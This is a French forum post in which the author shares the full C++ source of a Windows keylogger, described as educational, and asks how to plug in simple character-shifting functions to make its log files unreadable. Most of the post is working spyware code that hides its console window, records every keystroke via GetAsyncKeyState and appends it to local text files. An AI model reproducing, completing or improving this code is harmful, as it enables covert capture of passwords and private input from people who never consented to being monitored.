Bonjour, j’ai codé un petit keylogger (à des fins didactiques). Voilà le code source :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 | #include <string> #include <iostream> #include <fstream> #include <Windows.h> #include <stdio.h> using std::string; using std::cout; using std::endl; using std::fstream; using std::ofstream; void WriteData(string Text); bool isKeyListed(int vKey); void Stealth(); char Crypt(char* _data) { for (int u = 0; u<27; u++) { _data[u]++; } return 0; } char deCrypt(char* _data) { for (int u = 0; u<27; u++) { _data[u]--; } return 0; } int main() { Stealth(); char key; while (1) { for (key = 8; key <= 255; key++) { if (GetAsyncKeyState(key) & 0x0001) { if (isKeyListed(key) == 0) { //Crypt(&key); //deCrypt (&key); ?????????????????????????????????????????????? ofstream LogFile; LogFile.open("logs.txt", fstream::app); LogFile << key; LogFile.close(); } Sleep(100); } } } return 0; } void WriteData(string Text) { ofstream LogFile; LogFile.open("Data.txt", fstream::app); LogFile << Text; LogFile.close(); } void Stealth() { HWND hwNd; AllocConsole(); hwNd = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(hwNd, 0); } bool isKeyListed(int vKey) { //Special Keys switch (vKey) { case VK_RETURN: WriteData(" \n**enter** "); break; case VK_BACK: WriteData(" \b**backspace** "); break; case VK_SPACE: WriteData(" **spacebar** "); break; case VK_SHIFT: WriteData(" **shift** "); break; case VK_OEM_PERIOD: WriteData(" .**point**"); break; case VK_CAPITAL: WriteData(" **capital** "); break; case VK_LSHIFT: WriteData(" **leftShift** "); break; case VK_RSHIFT: WriteData(" **rightShift** "); break; case VK_TAB: WriteData(" **tab** "); break; default: return false; } } |
J’ai crée la fonction char Crypt(char _data) et char deCrypt(char _data) pour ’’essayer’’ de rendre ’’illisible’’ le flux qui est écrit dans le fichier Data et Logs, par contre, je n’ai aucune idée de comment je dois les implémenter dans le code ?
+0
-0